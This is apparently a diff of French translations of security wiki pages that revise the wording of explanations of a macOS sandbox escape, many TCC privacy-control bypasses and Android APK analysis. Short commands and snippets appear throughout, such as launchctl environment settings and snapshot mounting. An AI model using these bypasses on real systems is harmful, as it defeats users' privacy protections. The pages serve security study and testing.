C'est ce qui a été fait dans [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Par conséquent, pour le moment, si vous êtes simplement capable de créer un dossier avec un nom se terminant par **`.app`** sans un attribut de quarantaine, vous pouvez échapper au sandbox car macOS ne **vérifie** que l'**attribut de quarantaine** dans le **dossier `.app`** et dans le **binaire principal** (et nous allons faire pointer le binaire principal vers **`/bin/bash`**).
|
||||
> Par conséquent, pour le moment, si vous êtes simplement capable de créer un dossier avec un nom se terminant par **`.app`** sans un attribut de quarantaine, vous pouvez échapper au sandbox car macOS ne **vérifie** que l'**attribut de quarantaine** dans le **dossier `.app`** et dans le **binaire principal** (et nous ferons pointer le binaire principal vers **`/bin/bash`**).
|
||||
>
|
||||
> Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un attribut de quarantaine avec le drapeau autorisé à s'exécuter), vous pourriez également en abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles **`.app`** à moins d'avoir certains privilèges TCC (ce que vous n'aurez pas à l'intérieur d'un sandbox élevé).
|
||||
> Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un attribut de quarantaine avec le drapeau autorisé à s'exécuter), vous pourriez également en abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles **`.app`** à moins d'avoir certains privilèges TCC (que vous n'aurez pas à l'intérieur d'un sandbox élevé).
|
||||
|
||||
### Abus de la fonctionnalité Open
|
||||
|
||||
@ -249,9 +249,9 @@ Notez que même si certaines **actions** peuvent être **autorisées par le sand
|
||||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||
[...]
|
||||
```
|
||||
### Interposition Bypass
|
||||
### Interposting Bypass
|
||||
|
||||
Pour plus d'informations sur **Interposition**, consultez :
|
||||
Pour plus d'informations sur **Interposting**, consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -27,7 +27,7 @@ Les **permissions** sont **héritées de l'application parente** et les **permis
|
||||
Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC :
|
||||
|
||||
- La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Cette base de données est **protégée par SIP**, donc seul un contournement SIP peut y écrire.
|
||||
- Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut y écrire.
|
||||
- La base de données TCC utilisateur **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur.
|
||||
- Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'accès complet au disque peuvent y écrire (mais elle n'est pas protégée par SIP).
|
||||
|
||||
@ -39,7 +39,7 @@ Les autorisations/refus sont ensuite stockés dans certaines bases de données T
|
||||
- Il y a une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.
|
||||
- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient la **localisation** de toutes les **bases de données TCC valides**.
|
||||
- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus de permissions accordées par TCC.
|
||||
- Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par quiconque) est une liste d'autorisation d'applications nécessitant une exception TCC.
|
||||
- Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par quiconque) est une liste d'autorisation d'applications qui nécessitent une exception TCC.
|
||||
|
||||
> [!TIP]
|
||||
> La base de données TCC dans **iOS** est dans **`/private/var/mobile/Library/TCC/TCC.db`**.
|
||||
@ -201,12 +201,12 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
> [!WARNING]
|
||||
> Par conséquent, d'autres applications utilisant le même nom et ID de bundle ne pourront pas accéder aux autorisations accordées à d'autres applications.
|
||||
|
||||
### Droits & Permissions TCC
|
||||
### Droits et autorisations TCC
|
||||
|
||||
Les applications **n'ont pas seulement besoin** de **demander** et d'avoir **accès** à certaines ressources, elles doivent également **avoir les droits pertinents**.\
|
||||
Par exemple, **Telegram** a le droit `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas** ce **droit ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les permissions).
|
||||
Par exemple, **Telegram** a le droit `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas** ce **droit ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations).
|
||||
|
||||
Cependant, pour que les applications **accèdent** à **certaines dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques.** Le système gérera l'accès de manière transparente et **demandera à l'utilisateur** si nécessaire.
|
||||
Cependant, pour que les applications **accèdent** à **certains dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques.** Le système gérera l'accès de manière transparente et **demandera à l'utilisateur** si nécessaire.
|
||||
|
||||
Les applications d'Apple **ne généreront pas de demandes**. Elles contiennent des **droits pré-accordés** dans leur liste de **droits**, ce qui signifie qu'elles **ne généreront jamais de popup**, **ni** n'apparaîtront dans aucune des **bases de données TCC.** Par exemple :
|
||||
```bash
|
||||
@ -234,7 +234,7 @@ Certaines autorisations TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar,
|
||||
|
||||
### Intention de l'utilisateur / com.apple.macl
|
||||
|
||||
Comme mentionné précédemment, il est possible de **donner accès à une application à un fichier en le faisant glisser et déposer**. Cet accès ne sera spécifié dans aucune base de données TCC mais comme un **attribut étendu du fichier**. Cet attribut **stockera l'UUID** de l'application autorisée :
|
||||
Comme mentionné précédemment, il est possible de **donner accès à une application à un fichier en le faisant glisser et en le déposant dessus**. Cet accès ne sera spécifié dans aucune base de données TCC mais comme un **attribut étendu** **du fichier**. Cet attribut **stockera l'UUID** de l'application autorisée :
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
> [!TIP]
|
||||
> Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **Sandbox**, et non par tccd.
|
||||
>
|
||||
> Notez également que si vous déplacez un fichier qui permet l'UUID d'une application sur votre ordinateur vers un autre ordinateur, parce que la même application aura des UIDs différents, cela ne donnera pas accès à cette application.
|
||||
> Notez également que si vous déplacez un fichier qui permet à l'UUID d'une application sur votre ordinateur vers un autre ordinateur, parce que la même application aura des UIDs différents, cela ne donnera pas accès à cette application.
|
||||
|
||||
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme d'autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en **le supprimant** et en **le décompressant**.
|
||||
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme d'autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans ce post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en **le supprimant** et en **le décompressant**.
|
||||
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
@ -327,7 +327,7 @@ macos-apple-events.md
|
||||
Le nom TCC de l'autorisation Automation est : **`kTCCServiceAppleEvents`**\
|
||||
Cette autorisation TCC spécifique indique également **l'application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas simplement de gérer tout).
|
||||
|
||||
**Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges **Automation** sur elle, vous pouvez abuser de ses privilèges pour **l'amener à effectuer certaines actions**.\
|
||||
**Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'UI), donc si vous avez des privilèges **Automation** sur elle, vous pouvez abuser de ses privilèges pour **l'amener à effectuer certaines actions**.\
|
||||
Dans ce cas, votre application aurait besoin de l'autorisation **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
|
||||
|
||||
{{#tabs}}
|
||||
@ -506,7 +506,7 @@ Si vous avez **`kTCCServiceEndpointSecurityClient`**, vous avez FDA. Fin.
|
||||
|
||||
### Base de données TCC utilisateur à FDA
|
||||
|
||||
En obtenant des **permissions d'écriture** sur la base de données **TCC utilisateur**, vous **ne pouvez pas** vous accorder des permissions **`FDA`**, seul celui qui vit dans la base de données système peut le faire.
|
||||
En obtenant des **permissions d'écriture** sur la base de données **TCC utilisateur**, vous **ne pouvez pas** vous accorder des permissions **`FDA`**, seul celui qui vit dans la base de données système peut accorder cela.
|
||||
|
||||
Mais vous pouvez **vous donner** des **`droits d'automatisation au Finder`**, et abuser de la technique précédente pour escalader à FDA\*.
|
||||
|
||||
@ -516,9 +516,9 @@ Mais vous pouvez **vous donner** des **`droits d'automatisation au Finder`**, et
|
||||
|
||||
Je ne pense pas que ce soit un vrai privesc, mais juste au cas où vous le trouveriez utile : Si vous contrôlez un programme avec FDA, vous pouvez **modifier la base de données TCC des utilisateurs et vous donner n'importe quel accès**. Cela peut être utile comme technique de persistance au cas où vous pourriez perdre vos permissions FDA.
|
||||
|
||||
### **Contourner SIP pour contourner TCC**
|
||||
### **Contournement SIP à contournement TCC**
|
||||
|
||||
La **base de données TCC** du système est protégée par **SIP**, c'est pourquoi seuls les processus avec les **droits indiqués pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement SIP** sur un **fichier** (pouvoir modifier un fichier restreint par SIP), il pourra :
|
||||
La **base de données TCC** du système est protégée par **SIP**, c'est pourquoi seuls les processus avec les **droits indiqués pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement SIP** sur un **fichier** (capable de modifier un fichier restreint par SIP), il pourra :
|
||||
|
||||
- **Supprimer la protection** d'une base de données TCC et se donner toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
|
||||
- La base de données système TCC
|
||||
|
@ -20,7 +20,7 @@ L'**attribut étendu `com.apple.macl`** est ajouté au nouveau **fichier** pour
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Il est possible de **mettre une fenêtre au-dessus de l'invite TCC** pour faire en sorte que l'utilisateur **l'accepte** sans s'en rendre compte. Vous pouvez trouver un PoC dans [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
Il est possible de **mettre une fenêtre sur l'invite TCC** pour faire en sorte que l'utilisateur **l'accepte** sans s'en rendre compte. Vous pouvez trouver un PoC dans [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
@ -52,7 +52,7 @@ Ici, vous pouvez trouver des exemples de la façon dont certains **malwares ont
|
||||
|
||||
### Gestion des extensions - CVE-2022-26767
|
||||
|
||||
L'attribut **`com.apple.macl`** est donné aux fichiers pour donner à une **certaines applications des permissions pour le lire.** Cet attribut est défini lorsque vous **glissez-déposez** un fichier sur une application, ou lorsqu'un utilisateur **double-clique** sur un fichier pour l'ouvrir avec l'**application par défaut**.
|
||||
L'attribut **`com.apple.macl`** est attribué aux fichiers pour donner à une **certaines applications des permissions pour le lire.** Cet attribut est défini lorsque l'on **fait glisser et déposer** un fichier sur une application, ou lorsqu'un utilisateur **double-clique** sur un fichier pour l'ouvrir avec l'**application par défaut**.
|
||||
|
||||
Par conséquent, un utilisateur pourrait **enregistrer une application malveillante** pour gérer toutes les extensions et appeler Launch Services pour **ouvrir** n'importe quel fichier (de sorte que le fichier malveillant obtienne l'accès pour le lire).
|
||||
|
||||
@ -62,9 +62,9 @@ L'attribution **`com.apple.private.icloud-account-access`** permet de communique
|
||||
|
||||
**iMovie** et **Garageband** avaient cette attribution et d'autres qui le permettaient.
|
||||
|
||||
Pour plus **d'informations** sur l'exploit pour **obtenir des jetons icloud** à partir de cette attribution, consultez la conférence : [**#OBTS v5.0 : "Que se passe-t-il sur votre Mac, reste sur l'iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Pour plus **d'informations** sur l'exploit pour **obtenir des jetons icloud** à partir de cette attribution, consultez la conférence : [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automatisation
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
Une application avec la permission **`kTCCServiceAppleEvents`** pourra **contrôler d'autres applications**. Cela signifie qu'elle pourrait **abuser des permissions accordées aux autres applications**.
|
||||
|
||||
@ -112,7 +112,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
Le **daemon tccd** de l'espace utilisateur utilisait la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
Le **daemon tccd** de l'espace utilisateur utilisait la variable **`HOME`** **env** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Selon [ce post Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le daemon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont passées.\
|
||||
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le **daemon TCC**, puis **modifier directement la base de données TCC** pour se donner **tous les droits TCC disponibles** sans jamais demander à l'utilisateur final.\
|
||||
@ -145,7 +145,7 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - Notes
|
||||
|
||||
Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pourriez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
|
||||
Notes avait accès aux emplacements protégés par TCC mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pourriez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -160,33 +160,33 @@ Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler l
|
||||
**`Music`** a une fonctionnalité intéressante : Lorsqu'il est en cours d'exécution, il **importe** les fichiers déposés dans **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** dans la "bibliothèque multimédia" de l'utilisateur. De plus, il appelle quelque chose comme : **`rename(a, b);`** où `a` et `b` sont :
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Ce comportement **`rename(a, b);`** est vulnérable à une **Race Condition**, car il est possible de mettre à l'intérieur du dossier `Automatically Add to Music.localized` un faux fichier **TCC.db** et ensuite, lorsque le nouveau dossier (b) est créé pour copier le fichier, de le supprimer et de le pointer vers **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Si **`SQLITE_SQLLOG_DIR="path/folder"`** signifie essentiellement que **toute base de données ouverte est copiée à ce chemin**. Dans ce CVE, ce contrôle a été abusé pour **écrire** à l'intérieur d'une **base de données SQLite** qui va être **ouverte par un processus avec FDA la base de données TCC**, puis abuser de **`SQLITE_SQLLOG_DIR`** avec un **symlink dans le nom de fichier** afin que lorsque cette base de données est **ouverte**, l'utilisateur **TCC.db est écrasé** avec celle ouverte.\
|
||||
**Plus d'infos** [**dans le writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et** [**dans la talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
**Plus d'infos** [**dans l'article**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et** [**dans la présentation**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
Si la variable d'environnement **`SQLITE_AUTO_TRACE`** est définie, la bibliothèque **`libsqlite3.dylib`** commencera à **journaliser** toutes les requêtes SQL. De nombreuses applications utilisaient cette bibliothèque, il était donc possible de journaliser toutes leurs requêtes SQLite.
|
||||
|
||||
Plusieurs applications Apple utilisaient cette bibliothèque pour accéder à des informations protégées par TCC.
|
||||
Plusieurs applications Apple utilisaient cette bibliothèque pour accéder aux informations protégées par TCC.
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
Cette **variable d'environnement est utilisée par le cadre `Metal`** qui est une dépendance pour divers programmes, notamment `Music`, qui a FDA.
|
||||
Cette **variable d'environnement est utilisée par le framework `Metal`** qui est une dépendance pour divers programmes, notamment `Music`, qui a FDA.
|
||||
|
||||
En définissant ce qui suit : `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Si `path` est un répertoire valide, le bug se déclenchera et nous pouvons utiliser `fs_usage` pour voir ce qui se passe dans le programme :
|
||||
|
||||
- un fichier sera `open()`é, appelé `path/.dat.nosyncXXXX.XXXXXX` (X est aléatoire)
|
||||
- une ou plusieurs `write()` écriront le contenu dans le fichier (nous ne contrôlons pas cela)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` sera `renamed()` en `path/name`
|
||||
- une ou plusieurs `write()`s écriront le contenu dans le fichier (nous ne contrôlons pas cela)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` sera `renamed()` à `path/name`
|
||||
|
||||
C'est un écriture de fichier temporaire, suivie d'un **`rename(old, new)`** **qui n'est pas sécurisé.**
|
||||
|
||||
@ -195,7 +195,7 @@ Ce n'est pas sécurisé car cela doit **résoudre les anciens et nouveaux chemin
|
||||
> [!CAUTION]
|
||||
> Donc, en gros, si un processus privilégié renomme à partir d'un dossier que vous contrôlez, vous pourriez obtenir un RCE et le faire accéder à un fichier différent ou, comme dans ce CVE, ouvrir le fichier que l'application privilégiée a créé et stocker un FD.
|
||||
>
|
||||
> Si le renommage accède à un dossier que vous contrôlez, tout en ayant modifié le fichier source ou en ayant un FD, vous changez le fichier (ou dossier) de destination pour pointer vers un lien symbolique, afin que vous puissiez écrire quand vous le souhaitez.
|
||||
> Si le renommage accède à un dossier que vous contrôlez, pendant que vous avez modifié le fichier source ou avez un FD pour celui-ci, vous changez le fichier (ou dossier) de destination pour pointer vers un symlink, afin que vous puissiez écrire quand vous le souhaitez.
|
||||
|
||||
C'était l'attaque dans le CVE : Par exemple, pour écraser le `TCC.db` de l'utilisateur, nous pouvons :
|
||||
|
||||
@ -206,7 +206,7 @@ C'était l'attaque dans le CVE : Par exemple, pour écraser le `TCC.db` de l'uti
|
||||
- attraper le `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X est aléatoire)
|
||||
- ici nous `open()` également ce fichier pour écrire, et nous nous accrochons au descripteur de fichier
|
||||
- échanger atomiquement `/Users/hacker/tmp` avec `/Users/hacker/ourlink` **dans une boucle**
|
||||
- nous faisons cela pour maximiser nos chances de succès car la fenêtre de course est assez étroite, mais perdre la course a un inconvénient négligeable
|
||||
- nous faisons cela pour maximiser nos chances de succès car la fenêtre de course est assez mince, mais perdre la course a un inconvénient négligeable
|
||||
- attendre un peu
|
||||
- tester si nous avons eu de la chance
|
||||
- si ce n'est pas le cas, recommencer depuis le début
|
||||
@ -240,7 +240,7 @@ Le **premier POC** utilise [**dsexport**](https://www.unix.com/man-page/osx/1/ds
|
||||
2. Plantez un faux fichier _TCC.db_ avec l'accès requis et le blob _csreq_.
|
||||
3. Exportez l'entrée des services d'annuaire de l'utilisateur avec [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modifiez l'entrée des services d'annuaire pour changer le répertoire personnel de l'utilisateur.
|
||||
5. Importez l'entrée des services d'annuaire modifiée avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
5. Importez l'entrée modifiée des services d'annuaire avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
6. Arrêtez le _tccd_ de l'utilisateur et redémarrez le processus.
|
||||
|
||||
Le deuxième POC a utilisé **`/usr/libexec/configd`** qui avait `com.apple.private.tcc.allow` avec la valeur `kTCCServiceSystemPolicySysAdminFiles`.\
|
||||
@ -256,14 +256,14 @@ Il existe différentes techniques pour injecter du code à l'intérieur d'un pro
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
De plus, la technique d'injection de processus la plus courante pour contourner TCC trouvée est via **plugins (load library)**.\
|
||||
De plus, la méthode d'injection de processus la plus courante pour contourner TCC trouvée est via **plugins (load library)**.\
|
||||
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou de plist, qui seront **chargés par l'application principale** et s'exécuteront sous son contexte. Par conséquent, si l'application principale avait accès à des fichiers restreints par TCC (via des permissions ou des droits accordés), le **code personnalisé l'aura également**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait le droit **`kTCCServiceSystemPolicySysAdminFiles`**, chargeait des plugins avec l'extension **`.daplug`** et **n'avait pas le runtime** durci.
|
||||
|
||||
Pour armer ce CVE, le **`NFSHomeDirectory`** est **changé** (abusant du droit précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC.
|
||||
Pour pouvoir armer ce CVE, le **`NFSHomeDirectory`** est **changé** (abusant du droit précédent) afin de pouvoir **prendre le contrôle de la base de données TCC de l'utilisateur** pour contourner TCC.
|
||||
|
||||
Pour plus d'infos, consultez le [**rapport original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
@ -302,7 +302,7 @@ Pour plus d'informations, consultez le [**rapport original**](https://wojciechre
|
||||
|
||||
### Plug-ins de la couche d'abstraction de périphérique (DAL)
|
||||
|
||||
Les applications système qui ouvrent le flux de la caméra via Core Media I/O (applications avec **`kTCCServiceCamera`**) chargent **dans le processus ces plugins** situés dans `/Library/CoreMediaIO/Plug-Ins/DAL` (non restreints par SIP).
|
||||
Les applications système qui ouvrent le flux de la caméra via Core Media I/O (applications avec **`kTCCServiceCamera`**) chargent **dans le processus ces plugins** situés dans `/Library/CoreMediaIO/Plug-Ins/DAL` (non restreint par SIP).
|
||||
|
||||
Il suffit d'y stocker une bibliothèque avec le **constructeur** commun pour **injecter du code**.
|
||||
|
||||
@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
|
||||
### CVE-2020-9771 - contournement TCC de mount_apfs et élévation de privilèges
|
||||
|
||||
**Tout utilisateur** (même ceux sans privilèges) peut créer et monter un instantané de Time Machine et **accéder à TOUS les fichiers** de cet instantané.\
|
||||
Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait un accès **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), qui doit être accordé par un administrateur.
|
||||
Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait un accès **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
@ -469,7 +469,7 @@ Vérifiez l'**exploitation complète** dans le [**rapport original**](https://th
|
||||
|
||||
Comme expliqué dans le [rapport original](https://www.kandji.io/blog/macos-audit-story-part2), ce CVE a abusé de `diskarbitrationd`.
|
||||
|
||||
La fonction `DADiskMountWithArgumentsCommon` du framework public `DiskArbitration` effectuait les vérifications de sécurité. Cependant, il est possible de contourner cela en appelant directement `diskarbitrationd` et donc d'utiliser des éléments `../` dans le chemin et des liens symboliques.
|
||||
La fonction `DADiskMountWithArgumentsCommon` du framework public `DiskArbitration` effectuait les vérifications de sécurité. Cependant, il est possible de le contourner en appelant directement `diskarbitrationd` et donc d'utiliser des éléments `../` dans le chemin et des liens symboliques.
|
||||
|
||||
Cela a permis à un attaquant de réaliser des montages arbitraires à n'importe quel endroit, y compris sur la base de données TCC en raison de l'attribution `com.apple.private.security.storage-exempt.heritable` de `diskarbitrationd`.
|
||||
|
||||
|
@ -65,13 +65,13 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
Tout d'abord, pour analyser un APK, vous devriez **jeter un œil au code Java** en utilisant un décompilateur.\
|
||||
Veuillez, [**lire ici pour trouver des informations sur les différents décompilateurs disponibles**](apk-decompilers.md).
|
||||
|
||||
### À la recherche d'informations intéressantes
|
||||
### Recherche d'informations intéressantes
|
||||
|
||||
En regardant simplement les **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Faites particulièrement attention aux **URLs Firebase** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Faites particulièrement attention aux **URLs firebase** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compréhension de base de l'application - Manifest.xml, strings.xml
|
||||
|
||||
@ -79,12 +79,12 @@ L'**examen des fichiers _Manifest.xml_ et **_strings.xml_** d'une application pe
|
||||
|
||||
Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
|
||||
|
||||
- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions qui peuvent mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil.
|
||||
- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions pouvant mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil.
|
||||
- **Paramètres de sauvegarde** : L'attribut `android:allowBackup="false"` doit être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher les sauvegardes de données non autorisées via adb, surtout lorsque le débogage USB est activé.
|
||||
- **Sécurité réseau** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les certificats et les paramètres de trafic HTTP. Un exemple est de permettre le trafic HTTP pour des domaines spécifiques.
|
||||
- **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
|
||||
- **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
|
||||
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la manière dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
|
||||
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la façon dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
|
||||
- **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
|
||||
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
|
||||
@ -156,7 +156,7 @@ Pour une raison quelconque, parfois les développeurs acceptent tous les certifi
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
